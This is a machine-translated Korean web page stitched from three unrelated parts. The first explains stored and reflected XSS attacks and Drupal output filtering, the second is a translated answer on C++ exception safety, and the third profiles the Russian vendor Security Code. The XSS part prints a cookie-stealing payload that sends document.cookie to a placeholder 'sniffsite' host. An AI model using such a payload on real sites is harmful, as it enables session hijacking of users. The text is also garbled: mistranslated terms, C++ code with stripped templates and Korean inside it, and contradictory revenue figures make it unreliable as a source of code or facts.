당신은 (정말로) 안전한 예외 코드를 작성하고 있습니까? 일부 XSS 공격 시나리오. XSS에서 코드를 보호하는 방법

확실히 XSS 공격은 SQL 주입과 함께 가장 많이 사용됩니다. 그들의 원칙은 불명예를 주기 쉬우며 결과는 페이지 출력의 무고한 맹글링에서 공격자가 사이트를 완전히 제어하는 ​​것까지 다양합니다.

일부 XSS 공격 시나리오

꾸준한 공격

  • Vova는 Petya의 웹사이트에 콘텐츠를 만듭니다.
  • Masha가 이 콘텐츠를 볼 때 Vovin XSS는 Machine Cookies를 훔칩니다.
  • 이제 Vova는 Machine 세션을 사용하여 사이트에 들어갈 수 있습니다.
  • 이 콘텐츠를 보는 사람이 많을수록 공격에 성공했다고 볼 수 있습니다. 사이트 등에서 논란의 여지가있는 holivar 테마를 생성하여 최대치를 달성합니다.
여기 있습니다 가장 간단한 예쿠키를 도난당하고 사용하는 방법.
  • 코드가 페이지에 삽입됩니다. img=new Image();img.src="http://sniffsite/s.php?"+document.cookie; .
  • 스크립트의 다른 쪽 끝에는 요청 로거가 있습니다. 공격자는 이 로그에서 세션 식별자를 선택하고 피해자의 쿠키와 유사한 자신의 쿠키를 만듭니다.
  • 이제 공격자는 브라우저를 사용하여 사이트로 이동하고 이미 피해자 사용자의 계정(피해자의 쿠키)에 로그인할 수 있습니다.
일반 계정에서 공격자가 이 계정의 권한 내에서 해를 입힐 수 있는 경우 루트 계정(우리 드루팔러의 90%가 해당 계정 아래에 있음)을 소유하여 말 그대로 드루팔러 중 60%의 사이트를 죽일 수 있습니다. 자주 백업하지 마십시오.

불안정한 공격

  • Julia는 Ahmed가 작성한 사이트를 사용합니다. Ahmed는 로그인/비밀번호를 사용하여 사이트에 들어가 개인 데이터를 저장할 수 있는 기회를 제공합니다.
  • Vova는 Ahmed의 웹사이트를 검색하고 XSS 취약점을 찾습니다.
  • Vova는 특별한 링크를 형성하고 ICQ를 통해 Yulia에게 보냅니다.
  • 사이트에 로그인한 Julia는 Vova의 링크를 따릅니다.
  • 페이지 링크에 묶인 XSS가 실행됩니다. (여기서 모든 것은 Akhmed의 서투름과 Vova의 기술에 달려 있습니다. 이것은 CSRF 관련 취약점을 사용하고 있을 수 있습니다. Yulia는 알지 못하는 사이에 많은 스팸을 보내고 사이트의 모든 콘텐츠를 삭제하는 등 일상적인 - 절도를 할 수 있습니다. 기밀 정보, 또는 쿠키.
무엇을합니까 링크에 래핑된 XSS? 매우 일반적인 예는 다음과 같은 코드가 있는 검색 양식입니다.
"> .

이제 주소창에 site.ru/search.php?srch="> 라고 쓰면 img=new Image();img.src="http://snifsite/s.php" +document.cookie;, 해당 URL을 방문하는 모든 피해자의 쿠키를 가져옵니다.

XSS에서 코드를 보호하는 방법은 무엇입니까?

대답은 간단합니다. 출력을 페이지로 필터링하십시오.

Drupal의 필터링 방법

데이터 작업의 황금률은 제출된 그대로 데이터베이스에 사용자 입력을 저장하는 것입니다. 따라서 모든 필터링은 페이지에 사용자 데이터를 표시하는 단계에서 수행되어야 합니다.

모든 사용자 입력은 두 가지 유형으로 나눌 수 있습니다.

  1. 마크업이 없는 텍스트(일반 텍스트)

    순수한 텍스트로 제공되는 모든 사용자 입력은 따옴표, 앰퍼샌드 및 꺾쇠 괄호를 HTML 표현으로 바꾸는 check_plain() 함수를 통해 전달되어야 합니다. 그런 다음 이러한 텍스트가 페이지의 최종 HTML 마크업에 이미 삽입되었을 수 있습니다.

    대부분의 테마 및 API 함수는 매개변수에 문자열을 사용하며, 어떤 식으로든 그들을 필터링하십시오.:

    • 티(): 이 함수에서는 여러 유형의 자리 표시자를 사용할 수 있으며, 이는 다르게 필터링됩니다.
      • !변수 - 변경 없이 삽입됨
      • @variable - check_plain() 을 통과합니다.
      • %variable - theme("placeholder") 를 통과합니다.
    • 엘(): 링크 텍스트는 $html 매개변수가 명시적으로 설정되지 않는 한 항상 check_plain() 을 거칩니다.
    • 메뉴 항목 및 이동 경로: 제목이 자동으로 필터링됩니다.

      check_markup()을 통해 전달된 마크업 텍스트를 보는 사용자는 선택한 입력 형식을 볼 수 있는 권한이 있어야 합니다. 기본적으로 이 검사는 항상 수행됩니다. 그러나 콘텐츠는 일반적으로 콘텐츠를 만든 사람보다 적은 권한을 가진 사용자가 보기 때문에 항상 필요한 것은 아닙니다. 따라서 적절한 매개변수를 check_markup() 에 전달하여 출력에 대한 확인 권한을 비활성화할 수 있습니다. 그러나 항상 이러한 권한을 확인해야 합니다.

귀하의 질문에는 "보안 보안 코드 작성이 매우 어렵습니다."라고 나와 있습니다. 귀하의 질문에 먼저 답변하고 그 뒤에 숨겨진 질문에 답변하겠습니다.

질문에 대한 답변

정말 안전한 예외 코드를 작성하고 있습니까?

물론 예.

이것이 이유 다 그만큼. Java는 C++ 프로그래머(RAII 의미 체계의 부재)로서 저에게 많은 매력을 잃었지만, 저는 이 말을 잊었습니다. 이것은 C++ 질문입니다.

이것은 STL 또는 Boost 코드로 작업해야 할 때 정말 필요합니다. 예를 들어 C++ 스레드(boost::thread 또는 std::thread)는 예외를 throw하여 정상적으로 종료됩니다.

최신 "프로덕션 준비" 코드가 안전하다고 확신하십니까?

그것이 무엇인지 확신할 수 있습니까?

코드를 제외하는 코드를 작성하는 것은 오류 없는 코드를 작성하는 것과 같습니다.

코드가 안전하다고 100% 확신할 수는 없습니다. 그러나 잘 알려진 패턴을 사용하고 잘 알려진 안티 패턴을 피함으로써 이를 목표로 합니다.

효과가 있는 대안을 알고 사용합니까?

C++에는 실행 가능한 대안이 없습니다(즉, C로 돌아가서 C++ 라이브러리와 Windows SEH와 같은 외부 놀라움을 피해야 합니다).

안전한 예외 코드 작성

안전한 예외 코드를 작성하려면 다음을 알아야 합니다. 첫 번째작성하는 각 명령에 대한 예외 안전 수준.

예를 들어, new는 예외를 던질 수 있지만 내장(int 또는 포인터와 같은)을 할당하면 충돌이 발생하지 않습니다. 스왑은 결코 실패하지 않으며(절대로 스왑 스왑을 작성하지 않음), std::list::push_back은 던질 수 있습니다...

예외 보장

가장 먼저 이해해야 할 것은 모든 함수에서 제공하는 예외 보장을 평가할 수 있어야 한다는 것입니다.

  • 없음. 귀하의 코드는 이것을 제안해서는 안됩니다. 이 코드는 모든 것을 유출하고 첫 번째 예외에서 충돌합니다.
  • 기초적인. 이것은 최소한 제공해야 하는 보장입니다. 즉, 예외가 발생하면 리소스가 누출되지 않고 모든 개체가 손상되지 않은 상태로 유지됩니다.
  • 강한. 처리는 성공하거나 예외를 throw하지만 예외가 throw되면 데이터는 처리가 전혀 시작되지 않은 것과 동일한 상태가 됩니다(이는 C++에 트랜잭션 기능을 제공함)
  • 노 던지다 / 노페일: 처리가 완료됩니다.

코드 예

다음 코드는 올바른 C++처럼 보이지만 실제로는 "없음" 보장을 제공하므로 올바르지 않습니다.

::max() > t.integer) // 1. nothrow/nofail t.integer += 1 ; // 1". nothrow/nofail X * x = new X() ; // 2. 기본: new 및 X 생성자와 함께 던질 수 있음 t.list.push_back(x) ; // 3. 강력: x-> 던질 수 있음

나는 이런 종류의 분석으로 모든 코드를 작성합니다.

제공되는 가장 낮은 보장은 기본이지만 각 명령의 순서는 전체 기능을 "없음"으로 만듭니다. 왜냐하면 3. 던지면 x가 누출될 것이기 때문입니다.

가장 먼저 할 일은 x가 목록에 안전하게 저장될 때까지 스마트 포인터에 x를 넣는 "기본" 함수를 만드는 것입니다.

무효 doSomething(T & t) ( if(std::numeric_limits) ::max() > t.integer) // 1. nothrow/nofail t.integer += 1 ; // 1".nothrow/nofail std::auto_ptr x(새로운 X()) ; // 2. 기본: new 및 X 생성자와 함께 던질 수 있음 X * px = x.get() ; // 2". nothrow/nofail t.list.push_back(px) ; // 3. strong: x.release()를 던질 수 있음 ; // 3". nothrow/nofail px->doSomethingThatCanThrow() ; // 4. 기본: 던질 수 있음)

우리 코드는 이제 "기본" 보장을 제공합니다. 아무 것도 누출되지 않으며 모든 개체가 올바른 상태가 됩니다. 그러나 우리는 더 많은 것, 즉 강력한 보증을 제공할 수 있습니다. 여기에서는 비용이 많이 들 수 있으며 그것이 강한 이유입니다. 전부는 아니다 C++ 코드. 해보자:

Void doSomething(T & t) ( // "x"를 생성합니다. std::auto_ptr x(새로운 X()) ; // 1. 기본: new 및 X 생성자와 함께 던질 수 있음 X * px = x.get() ; // 2. nothrow/nofail px->doSomethingThatCanThrow() ; // 3. basic: can throw // 변경을 피하기 위해 원본 컨테이너를 복사합니다. T t2(t) ; // 4. strong: T copy-constructor로 던질 수 있습니다. // 복사된 컨테이너에 "x"를 넣습니다. t2.list.push_back(px) ; // 5. 강함: x.release() 던질 수 있음 ; // 6. nothrow/nofail if(std::numeric_limits ::max() > t2.integer) // 7. nothrow/nofail t2.integer += 1 ; // 7".nothrow/nofail // 두 컨테이너를 교환합니다. t.swap(t2) ; // 8. nothrow/nofail )

먼저 X를 생성하고 올바른 값으로 설정하여 작업을 재정렬했습니다. 두 작업 중 하나가 실패하면 t가 변경되지 않으므로 작업 1~3은 "강력한" 것으로 간주될 수 있습니다. 성공하면 t가 변경되지 않고 X는 스마트 포인터에 속하기 때문에 흐르지 않습니다.

그런 다음 t의 t2를 복사하여 작업 4에서 7까지 작업합니다. 무언가가 던져지면 t2가 변경되지만 t는 여전히 원본입니다. 우리는 여전히 강력한 보증을 제공합니다.

그런 다음 t 와 t2 를 교환합니다. 스왑 작업은 C++에서 그려서는 안 되므로 t에 대해 작성한 스왑이 nothrow가 되기를 바랍니다(그렇지 않은 경우 not로 다시 작성).

따라서 함수의 끝에 도달하면 모든 것이 작동하고(반환 유형이 필요 없음) t는 값을 갖습니다. 실패하면 t는 여전히 원래 값을 갖습니다.

이제 강력한 보증을 제공하는 것은 상당히 비용이 많이 들 수 있으므로 모든 코드에 강력한 보증을 제공하는 것을 목표로 하지 마십시오. 그러나 무료로 수행할 수 있다면(그리고 C++ 중첩 및 기타 최적화로 모든 코드가 소용) 그런 다음 수행하십시오. 기능 사용자는 이에 대해 감사할 것입니다.

결론

보안 코드를 작성하는 데 익숙해지는 데 시간이 걸립니다. 사용할 각 지침에서 제공하는 보증을 평가한 다음 지침 목록에서 제공하는 보증을 평가해야 합니다.

물론 C++ 컴파일러는 보증을 백업하지 않습니다(내 코드에서는 @warning doxygen 태그로 보증을 제공합니다). 이는 불행한 일이지만 예외로부터 안전한 코드를 작성하려는 시도를 중단해서는 안 됩니다.

오류가 있는 일반 오류

프로그래머는 nofail 기능이 항상 성공하도록 어떻게 보장할 수 있습니까? 결국 함수에 오류가 있을 수 있습니다.

맞아요. 예외적인 보증은 오류 없이 제공되어야 합니다. 그러나 모든 언어에서 함수 호출은 함수에 오류가 포함되어 있지 않다고 가정합니다. 정상적인 코드는 버그의 가능성으로부터 자신을 보호할 수 없습니다. 가능한 한 최선을 다해 코딩한 다음 버그라는 가정 하에 보증을 제공하세요. 그리고 오류가 있으면 수정하십시오.

예외는 코드 오류가 아닌 예외 처리 오류를 나타냅니다.

마지막 말

이제 질문은 "그만한 가치가 있습니까?"입니다.

물론. 함수가 실패할 것임을 알고 "nothrow/nofail" 함수를 갖는 것은 큰 이점입니다. "강한" 기능에 대해서도 마찬가지입니다. 이 기능을 사용하면 트랜잭션 의미 체계로 코드를 작성할 수 있습니다(예: 데이터베이스, 커밋/롤백 기능, 커밋은 코드의 정상적인 실행, 예외는 롤백) .

그런 다음 "기본"은 제공해야 하는 가장 작은 보증입니다. C++는 리소스 누출을 방지할 수 있는 범위가 있는 매우 강력한 언어입니다(가비지 수집기가 데이터베이스, 연결 또는 파일에 대해 제안하는 데 어려움을 겪을 수 있는 것).

그래서 내가 아는 한 그만한 가치가 있습니다.

2010-01-29 편집: 던지지 않는 스왑 정보

nobar는 "안전한 예외 코드를 작성하는 방법"의 일부이기 때문에 매우 관련성이 있다고 생각하는 의견을 작성했습니다.

  • 거래는 절대 실패하지 않을 것입니다(던지기 교환도 쓰지 마세요)
  • 이것은 사용자 정의 swap() 함수에 대한 좋은 권장 사항입니다. 그러나 std::swap()은 내부적으로 사용하는 작업에 따라 실패할 수 있습니다.

기본적으로 std::swap은 복사본과 할당을 만들며, 일부 개체의 경우 이 작업은 폐기될 수 있습니다. 따라서 기본 스왑은 클래스와 STL 클래스 모두에 사용할 수 있습니다. C++ 표준에 따라 vector , deque 및 list 에 대한 스왑 작업은 throw되지 않는 반면 map 의 경우 비교 펑터가 복사 생성을 throw할 수 있는 경우(참조 C++ 프로그래밍 언어, 특별판, 부록 E, E.4.3.Swap).

Visual C++ 2008 벡터 스왑 구현을 살펴보면 두 벡터에 동일한 할당자가 있는 경우(즉, 일반적인 경우) 벡터 스왑이 throw되지 않지만 할당자가 다른 경우 복사본을 만듭니다. 그래서 나는 이것이 마지막 사건을 제쳐 놓을 수 있다고 생각합니다.

따라서 소스 코드는 여전히 보존됩니다. metapot exchange를 작성하지 마십시오. 그러나 nobar의 의미를 알고 있어야 합니다. 스와핑하는 개체에 양도할 수 없는 exchange가 있는지 확인하십시오.

편집 2011-11-06: 흥미로운 기사

모든 사례가 테스트되었는지 확인하기 위해 자동화된 단위 테스트에 의존하는 포인트 7(예외 안전성을 위한 자동화된 테스트)을 살펴보십시오. 이 부분이 질문자에게 좋은 답변이라고 생각한다" 그것이 무엇인지 확신할 수 있습니까?".

편집 2013-05-31: dionadar의 댓글

t.정수 += 1; 오버플로가 발생하지 않는다는 보장은 없습니다. NOT SAFE SAFE, 실제로 기술적으로 UB를 호출할 수 있습니다! (Signed Overflow - UB: C++11 5/4 "표현식을 평가할 때 결과가 수학적으로 정의되지 않았거나 해당 유형에 대해 표시되는 값 범위에 없으면 동작이 정의되지 않습니다." ) 부호 없는 정수는 오버플로되지 않지만 등가 클래스 모듈로 2^# 비트에서 계산을 수행합니다.

Dionadar는 실제로 정의되지 않은 동작이 있는 다음 줄을 참조합니다.

T. 정수 += 1 ; // 1.nothrow/nofail

해결책은 정수에 이미 최대값이 있는지 확인하는 것입니다(std::numeric_limits 사용 ::max()) 추가하기 전에.

내 오류는 "오류가 있는 일반 오류", 즉 오류에 해당합니다. 이것은 인수를 무효화하지 않으며, 예외로부터 안전한 코드에 도달할 수 없기 때문에 쓸모가 없다는 의미는 아닙니다. 컴퓨터 종료, 컴파일러 오류 또는 버그나 기타 오류로부터 자신을 보호할 수 없습니다. 완벽을 달성할 수는 없지만 가능한 한 가까워지려고 노력할 수 있습니다.

Dionadar의 의견으로 코드를 수정했습니다.

Security Code 회사의 임무는 고객과 파트너 간의 제품 라인 및 정보 보안 솔루션의 개발, 개발 및 홍보입니다.

성과 지표

2018: 회전율 - 4,045,000,000,000 루블

2018년 말 보안 코드의 회전율은 4,045,000,000,000 루블에 달했으며 2년 연속 4,000,000,000 루블을 초과했습니다. 회사는 해마다 비즈니스 수익성 수준을 높이고 있습니다. 2018 년 EBITDA는 910,000,000,000 루블에 도달했습니다. (비교를 위해 2017년 이 지표는 900,000,000,000 루블을 만들었습니다) Security Code 회사에서 2019년 2월 11일 TAdviser에 보고했습니다.

2018년 회사 매출에서 가장 큰 비중을 차지하는 부분은 네트워크 인프라 보호(43.3%) 및 엔드포인트 보호(34.4%)와 같은 보안 영역이었습니다.

회사에 따르면 2018년 실적 기준으로 컨티넨트 라인(17억5200만 루블), v게이트(7억4800만 루블), 시크릿넷 스튜디오(7억2300만 루블) 제품이 매출 1위를 기록했다. Secret Net Studio와 vGate는 2017년 대비 가장 높은 성장률을 보였습니다. 각각 95%와 93%의 성장률을 보였습니다.

지난 보고 기간은 보안 코드에 대한 제품 포트폴리오를 적극적으로 업데이트하고 새로운 규제 인증서를 획득하는 해가 되었습니다. Continent 3.9는 새로운 플랫폼, 향상된 방화벽 성능 및 GOST에 따른 암호화용 하드웨어 암호화 가속기로 네트워크 보안 도구 그룹에 등장했습니다. Continent TLS Server 2는 여러 암호화 공급자를 지원하여 출시되었습니다. 러시아 FSTEC의 방화벽 요구사항 준수를 위한 Continent WAF 제품 인증 절차가 성공적으로 완료되었습니다.

회사는 또한 Secret Net Studio 8.4의 다음 버전 출시와 러시아 FSTEC의 제품 검사 통제 통과를 강조합니다. 2018년 말, PAK Sobol 4가 러시아 FSTEC 인증을 받아 제품 판매를 시작했습니다. 차세대 신뢰할 수 있는 부팅 모듈의 주요 차이점은 UEFI 기술 지원, USB 3.0 호환성 및 향상된 기능입니다. 또한 업데이트가 릴리스되었으며 터미널 제품에 사용할 수 있는 플랫폼 목록이 확장되었습니다. 즉, 무단 액세스로부터 정보를 보호하는 수단이 내장된 씬 클라이언트입니다.

가상 환경 보호 부문의 주요 이벤트는 vNetwork 에이전트 없는 가상 방화벽이 포함된 업데이트된 vGate 4.1 제품의 출시로, 이를 통해 개별 가상 머신 수준과 가상 머신 그룹 수준 모두에서 필터링 규칙을 생성할 수 있습니다. .

지난 보고 기간 동안 회사 비즈니스의 제품뿐만 아니라 서비스 부문의 개발이 계속되어 2년 연속 Security Code의 총 수익에서 9%를 차지했습니다. 2018년에는 소프트웨어 보안 분석을 전문 서비스 목록에 추가했습니다. 이러한 유형의 활동에 대한 관심은 높은 시장 역동성과 증가하는 고객 수요에 의해 결정된다고 회사는 설명했습니다.

2018년 "Security Code"는 해외 사업의 발전을 계속했습니다. 회사는 Secret Net Studio의 수출 허가를 받았고, 인도네시아, 칠레, 페루, 아랍에미리트.

우리는 러시아, 라틴 아메리카 및 중동의 이미 친숙한 시장뿐만 아니라 내년에 대한 개발을 설명했습니다. CIS 국가 및 동남아시아의 고객은 Security Code 제품의 도움으로 실질적인 보호를 제공하는 데 큰 관심을 보입니다. Security Code 회사의 상업 이사인 Fedor Dbar는 2019년이 이 지역에서 정보 보안 도구를 최초로 구현한 해가 될 것이라고 확신합니다.

인증서

2011년 4월, 러시아 연방 국방부의 정보 보안 요구 사항에 대한 정보 보안 도구 인증을 위한 연방 기관의 결정이 Security Code LLC에서 개발한 다음 제품이 접수된 것으로 보고되었습니다.

  • 하드웨어 - 소프트웨어 복합물 "Sobol". 버전 3.0 RU.40308570.501410.001.
  • 정보 보안 도구 TrustAccess RU.88338853.501410.003.
  • 정보 보안 도구 TrustAccess-S RU.88338853.501410.004.
  • 정보 보안 도구 Secret Net 6 RU.88338853.501410.007.
  • 정보 보안 도구 Secret Net 6(옵션 K) RU.88338853.501410.008.
  • 소프트웨어 및 하드웨어 "보안 코드: 인벤토리"에 대한 데이터 수집 시스템 RU.88338853.501510.001.
  • VMware Infrastructure용 정보 보안 도구 보안 코드 vGate RU.88338853.501410.002

러시아의 FSTEC 및 러시아의 FSB의 유효한 적합성 인증서가 있으면 정보 보안 요구 사항에 대해 러시아 연방 국방부의 정보 보안 인증 시스템에서 추가 인증이 필요하지 않습니다. 결과 솔루션을 통해 러시아 연방 국방부 및 그 하위 서비스와 관련된 구조에서 보안 코드에 의해 개발된 제품을 사용할 수 있습니다.

제휴 프로그램

2018

Security Code 제휴 프로그램은 2단계 판매 모델을 기반으로 합니다. 회사에는 5개의 유통업체와 광범위한 파트너 네트워크가 있습니다. 인증 파트너의 수는 지속적으로 증가하여 2018년 말 1,246개에 이르렀으며, 2018년에는 1회 이상 판매한 파트너 수가 2017년 대비 10% 증가한 1,052개 파트너에 이르렀습니다.

2018년에는 거의 절반의 파트너가 매출 증가를 보였습니다. 532개의 파트너가 2017년에 비해 성과를 개선했습니다. 2018년 작업 결과에 따라 240개의 파트너가 파트너 자격을 업그레이드했으며 이는 추가 공동 비즈니스에 대한 좋은 인센티브입니다.

지역 파트너의 노력 덕분에 "보안 코드"제품의 판매 수준이 증가한 TOP-4 지역 중 남부 연방 지구 (매출 성장률 23 %), 우랄 연방 지구 (16 %), 노스웨스턴 연방 지구(14%), 중앙 연방 지구(13%).

2017

2018

서비스 방향 "소프트웨어 보안 분석" 시작

Kaspersky Lab과 기술 제휴

2018년 1월 Security Code와 Kaspersky Lab 회사는 기술 협력의 시작을 발표했습니다. 파트너십은 인프라 및 고객 데이터의 보안 수준을 높이고 정보 보안 시장 부문에서 양사의 위치를 ​​강화하기 위해 설계되었습니다.

파트너십 계약 조건에 따라 보안 코드는 Kaspersky Lab의 여러 기술 솔루션을 제품에 통합할 수 있는 권한을 받습니다. 협력은 최종 장치 및 기업 네트워크의 보호 영역에 영향을 미칩니다. 양사는 앞으로 가상 환경 보호 분야로 파트너십을 확대할 계획이다.

엔드포인트 보호 분야의 협력을 통해 Secret Net Studio 통합 제품의 일부로 Kaspersky Anti-Virus SDK 기술을 기반으로 하는 솔루션을 안티바이러스 보호 모듈에 통합할 수 있습니다. 결과적으로 고객은 Kaspersky Lab 기술을 기반으로 하는 안티바이러스 모듈을 선택하고 구매할 수 있습니다. Secret Net Studio의 일부로 Kaspersky Anti-Virus SDK를 기반으로 하는 안티바이러스 모듈의 사용은 안티바이러스 보호를 위한 러시아 FSTEC의 요구사항 준수 인증을 받을 예정입니다.

또한 Secret Net Studio에 포함된 IDS(침입 탐지 시스템) 모듈은 위협 데이터 피드인 악성 개체에 대해 정기적으로 업데이트되는 데이터 피드를 사용할 수 있습니다. 데이터 스트림 전달 도구는 가장 위험하고 광범위한 위협을 실시간으로 탐지하고 무력화하도록 설계된 Kaspersky SafeStream II 스트리밍 스캐닝 기술로 구현됩니다. 결과적으로, Secret Net Studio의 일부로 IDS에 의해 감염되고 잠재적으로 위험한 개체 및 인터넷 리소스에 대한 액세스가 차단됩니다.

네트워크 보호 분야에서는 출시를 준비 중인 플래그십 제품 "Security Code" - "Continent" 4의 침입 탐지 모듈에 동일한 기술인 Kaspersky SafeStream II를 포함할 계획입니다. 결과적으로 악성 개체가 네트워크에 침투하는 것을 방지하고 잠재적으로 위험한 인터넷 리소스에 대한 액세스를 제어하여 맬웨어(피싱 및 봇 활동 포함)로부터 네트워크 경계를 더욱 강력하게 보호합니다. 이러한 리소스의 지원되는 데이터베이스에는 500,000개 이상의 항목이 포함됩니다.

Security Code 제품에 통합된 Kaspersky Lab 기술에 대한 정보는 마케팅 자료에 포함되고 그래픽 사용자 인터페이스에 반영됩니다. 계약 조건에 따라 통합 제품에 대한 라이센스 판매는 러시아 연방 영토와 구소련 국가(아르메니아, 아제르바이잔, 벨로루시, 그루지야, 카자흐스탄, 키르기스스탄, 몰도바, 타지키스탄) 모두에서 수행할 수 있습니다. , 투르크메니스탄, 우즈베키스탄, 우크라이나). 앞으로 Code of Security가 중동 및 아프리카 시장에서 입지를 확장함에 따라 이러한 지역에서도 통합 제품이 판매될 예정입니다.

2017

전년 대비 29% 매출 성장

2017 년 말 보안 코드의 회전율은 4,319,000,000 루블에 달했으며 이는 이전보고 기간 (3,348,000,000 루블)보다 29 % 높습니다. 네트워크 보호 및 엔드포인트 보호 부문이 주요 제품 라인이 되었습니다. 가장 큰 역동성은 전자 서명, 기업 네트워크 및 가상 환경의 보안을 보장하는 제품에서 입증되었습니다.

2017년 회사 매출에서 가장 큰 비중을 차지하는 분야는 네트워크 보안(49%) 및 엔드포인트 보호(24.4%)입니다.

가장 높은 역동성은 Jinn(6533%), Secret Net Studio(763%) 및 vGate(109%)와 같은 제품에서 나타났습니다. 2017년 vGate 판매 성장률(109%)은 회사.

2017년 결과에 따르면 상위 3개 판매 리더는 이미 가장 역동적으로 성장하는 제품으로 언급된 APKSh Continent(2억1800만 루블), PAK Sobol(4억5500만 루블) 및 Jinn(3억9800만 루블)과 같은 보호 장비였습니다.

2017년은 Security Code용 4세대 제품이 출시된 해였습니다. 근본적으로 업데이트된 보호 도구 중에서 Continent 4(지금까지 베타 버전이 출시되었습니다)에 주목해야 합니다. 2017년 12월 vGate 4.0 판매가 시작되었습니다. 2017년에 회사는 무단 액세스로부터 정보를 보호하는 수단이 내장된 씬 클라이언트인 터미널을 출시했습니다.

2017년 Security Code 제품을 구매한 총 고객 수는 8,000명을 초과했습니다. 2017년 Security Code 제품은 국가에 중요한 연방 및 지역 GIS(국가 정보 시스템)에 대한 보호를 제공했습니다: Legal Statistics, Justice , "Unified State Register of 프로젝트 문서의 전문성 결론", 건설 가격 책정을 위한 연방 주 정보 시스템, "원격 의료", "안전한 도시", "파견".

올해의 가장 큰 고객 중에는 연방 재무부, 러시아 은행, 러시아 연방 검찰 총장실, 국영 기업 Rosatom, 러시아 CEC 산하 연방 정보화 센터, 러시아 연방 국방부, 러시아 내무부, MOEK, 러시아 재무부, VTB 은행, 러시아 연방 보안국.

10월 17일 Security Code 회사는 해외 시장 진출을 발표했습니다. 해외 진출을 위해 회사는 기술 제휴를 형성하는 모델을 선택했습니다. 지난 10월 중동 및 아프리카 지역 정보보안 솔루션 공급업체와 협력협약을 체결했다. 이전에 회사는 라틴 아메리카에서 일하기 시작하여 현지 개발 파트너를 만들었습니다.

전제 조건

해외 진출의 전제 조건 중 하나는 회사가 러시아에서 성공적으로 운영되는 많은 정보 보안 제품을 보유하고 있다는 것입니다. 동시에 회사 대표에 따르면 러시아 정보 보안 시장의 역학은 부정적인 경제적 요인에 의해 제한됩니다. 동시에 최종 장치 보호 시장의 국내 부문은 포화에 가깝습니다.

해외진출 시작

Security Code는 2015년부터 해외 파트너와 교류를 시작했으며, 그 후 우루과이에 KOD Latam Security라는 회사를 설립하여 Security Code 기술을 기반으로 현지 제품을 개발하고 라틴 아메리카 고객을 위해 적용했습니다. KOD Latam Security의 주요 고객은 정부 및 법 집행 기관, 운송 회사 및 금융 부문입니다.

중동 및 아프리카 시장 진출

중동 및 아프리카에서 일하기 위해 Security Code는 다른 비즈니스 모델을 선택했습니다. 제조업체는 정보 보안 솔루션 제공업체와 협력 계약을 체결했습니다. Al Hosani Computer LLC(UAE)는 해당 지역에서 회사의 공인 유통업체가 되었습니다. .

Al Hosani Computer LLC를 통해 이 지역의 고객은 엔드포인트 및 가상 인프라 보호 요구 사항의 전체 범위를 포괄하는 세 가지 주력 "보안 코드" 제품을 구입할 수 있습니다.

  • Secret Net Studio는 데이터, 애플리케이션, 네트워크, 운영 체제 및 주변 장비 수준에서 워크스테이션과 서버를 보호하기 위한 포괄적인 솔루션입니다.
  • vGate는 또는 Microsoft Hyper-V를 기반으로 하는 가상화 플랫폼을 보호하기 위한 솔루션입니다.
  • Secret MDM은 기업의 이동성을 관리하고 "클라우드" 또는 자체 인프라에서 모바일 장치의 데이터를 보호하기 위한 제품입니다.

Security Code 회사의 솔루션 컴플렉스는 정보 보안 분야에서 중동 지역 국가의 법적 요구 사항은 물론 식별 및 인증, 액세스와 같은 영역에서 정보 시스템 보호를 위한 현대 국제 표준을 준수합니다. 제어, 안티바이러스 보호, 침입 탐지 및 방지, 장치 제어, 보안 이벤트 모니터링.

중첩된 보안의 개념

Security Code와 Al Hosani Computer LLC 간의 협력을 통해 중동 및 아프리카의 주요 고객은 제조업체 제품의 핵심인 오버레이 보안 개념을 경험할 수 있습니다. 개념의 본질은 신뢰할 수 없는 환경에서 신뢰할 수 있는 시스템을 만드는 것입니다. 공급업체는 고객이 데이터를 완전히 제어하고 누출이 없도록 보장하는 외부 IT와 독립적인 보안 시스템을 구축할 수 있도록 지원합니다.

기업 아이덴티티 업데이트

회사에 따르면 기업의 아이덴티티를 업데이트한 것은 최근 몇 년간 회사에 일어난 변화를 반영해야 하고, 정보보호 시장 참가자들과 긴밀히 협력해 추진하는 업무 규모가 커졌기 때문이다. .

시각 도구는 2015년에 Code of Security가 정보 보안 시장에서 러시아 기업이라는 회사의 인식을 강화하기 위해 기업 아이덴티티에 보호와 힘을 상징하는 러시아 민속 캐릭터의 이미지를 도입하면서 변화하기 시작했습니다. 국가 영웅(영웅)과 보호 도구(방패, 헬멧, 사슬 우편물 등)는 "보안 코드" 제품의 상징이 되었습니다. 일어난 변화는 시장에서 긍정적으로 인식되었으며 이제 논리적 연속성을 받았습니다.

업데이트된 로고는 회사의 러시아 기원을 강조합니다. 이 표시는 "영웅적인" 보호 속성(체인 메일)의 일부로 인식되며 보안 영역에서 공급업체, 고객, 규제 기관, 파트너의 4개 주요 당사자의 상호 작용을 조화시키는 관심, 새로운 도전에 대응할 준비가 되어 있음을 반영합니다. . 공동의 목표를 향해 함께 나아가고자 하는 열망은 4개의 고리로 된 닫힌 사슬의 형태로 시각적으로 실현됩니다.

또한 이 기호는 포괄적인 데이터 보호를 제공할 준비가 되어 있음을 강조합니다. 로고의 네 가지 "면"의 두 번째 상징적 메시지는 네트워킹, 워크스테이션 및 서버, 가상 인프라, 모바일 장치 등 회사 제품이 제공하는 네 가지 보안 영역을 나타내는 것입니다.

2016

2016: 3분의 1 이상 비즈니스 성장

회사의 사업은 보고 기간 동안 3분의 1 이상 성장했습니다. 가장 큰 역동성은 네트워크 및 가상 인프라 보호용 제품에서 나타났습니다. 2016년 말에 Security Code 회사의 매출액은 3,348,000,000,000루블(최종 사용자 가격 기준)에 달했습니다. 이것은 1 년 전 (2,504,000,000 루블)보다 34 % 높습니다. 2016년 말 순위에서는 시큐리티코드 기업이 34위를 차지했다.

가장 큰 역동성은 APKSh "Continent"(56%), PAK "Sobol"(20%) 및 vGate(81%)와 같은 제품에서 나타났습니다. 성장 요인에는 위협으로부터 네트워크, 최종 장치 및 가상 인프라를 보호하기 위한 솔루션에 대한 수요 증가가 포함됩니다. 고객이 안정적인 보호와 규정 요구 사항 준수를 제공하는 새로운 국내 정보 보안 도구에 투자해야 할 필요성.

보고 기간 동안 제품 포트폴리오의 주요 점유율은 APKSh Continent(56.48%), Secret Net(19.33%) 및 PAK Sobol(12.59%)에 속했습니다. 2016년 실적 기준 시큐리티코드 제품의 판매구조는 다음과 같습니다.

